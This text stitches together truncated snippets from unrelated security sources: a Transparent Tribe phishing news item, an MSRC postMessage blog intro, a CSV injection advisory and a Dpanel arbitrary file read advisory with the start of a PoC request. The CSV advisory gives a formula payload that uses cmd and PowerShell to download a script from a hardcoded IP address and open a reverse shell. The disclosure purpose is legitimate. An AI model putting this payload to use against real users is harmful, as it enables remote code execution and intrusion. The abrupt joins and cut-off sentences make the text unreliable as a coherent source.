The advanced persistent threat (APT) actor known as Transparent Tribe has been observed targeting both Windows and BOSS (Bharat Operating System Solutions) Linux systems with malicious Desktop shortcut files in attacks targeting Indian Government entities. "Initial access is achieved through spear-phishing emails," CYFIRMA said. "Linux BOSS environments are targeted via weaponized .desktop

At Microsoft, securing the ecosystem means more than just fixing bugs—it means proactively hunting for variant classes, identifying systemic weaknesses, and working across teams to protect customers before attackers ever get the chance. This blog highlights one such effort: a deep dive into the risks of misconfigured postMessage handlers across Microsoft services and how MSRC worked with engineering teams to mitigate them.

### Summary Description: `CSV Injection` or `Formula Injection` is a security vulnerability that occurs when malicious content is inserted into a CSV (Comma-Separated Values) file, which is then opened in a spreadsheet application like Microsoft Excel. This attack exploits the way spreadsheet software automatically interprets certain text patterns as formulas or commands, rather than plain text. ### Details A basic test for CSV Injection is using `SUM()` to add two numbers or open calc.exe​ using​ command: `=cmd|' /C calc'!A0​` The same method can be used to run arbitrary code on the victim's machine. For example the below code will download and execute a malicious script to create a reverse TCP connection to the attacker's machine. *Payload*: > This is our payload and will be used in the vulnerable field during exploitation ``` =cmd|' /C powershell Invoke-WebRequest "http://52.172.182.242:7000/shell.ps1" -OutFile "$env:Temp\shell.ps1"; powershell -ExecutionPolicy Bypas...

### Summary Dpanel has an arbitrary file read vulnerability in the /api/app/compose/get-from-uri interface.Logged in to Dpanel ,this interface can be used to read arbitrary files. ### Details When a user logs into the administrative backend, this interface can read any files on the host/sever (given the necessary permissions), which may lead to system information leakage. The vulnerability lies in the GetFromUri function within the app/application/http/controller/compose.go file. The uri parameter submitted by the user in JSON format can be directly read and returned by os.ReadFile without proper security handling.   ### PoC ```text POST /api/app/compose/get-from-uri HTTP/1.1 Host: x.x.x.x User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:136.0) Gecko/20100101 Firefo...
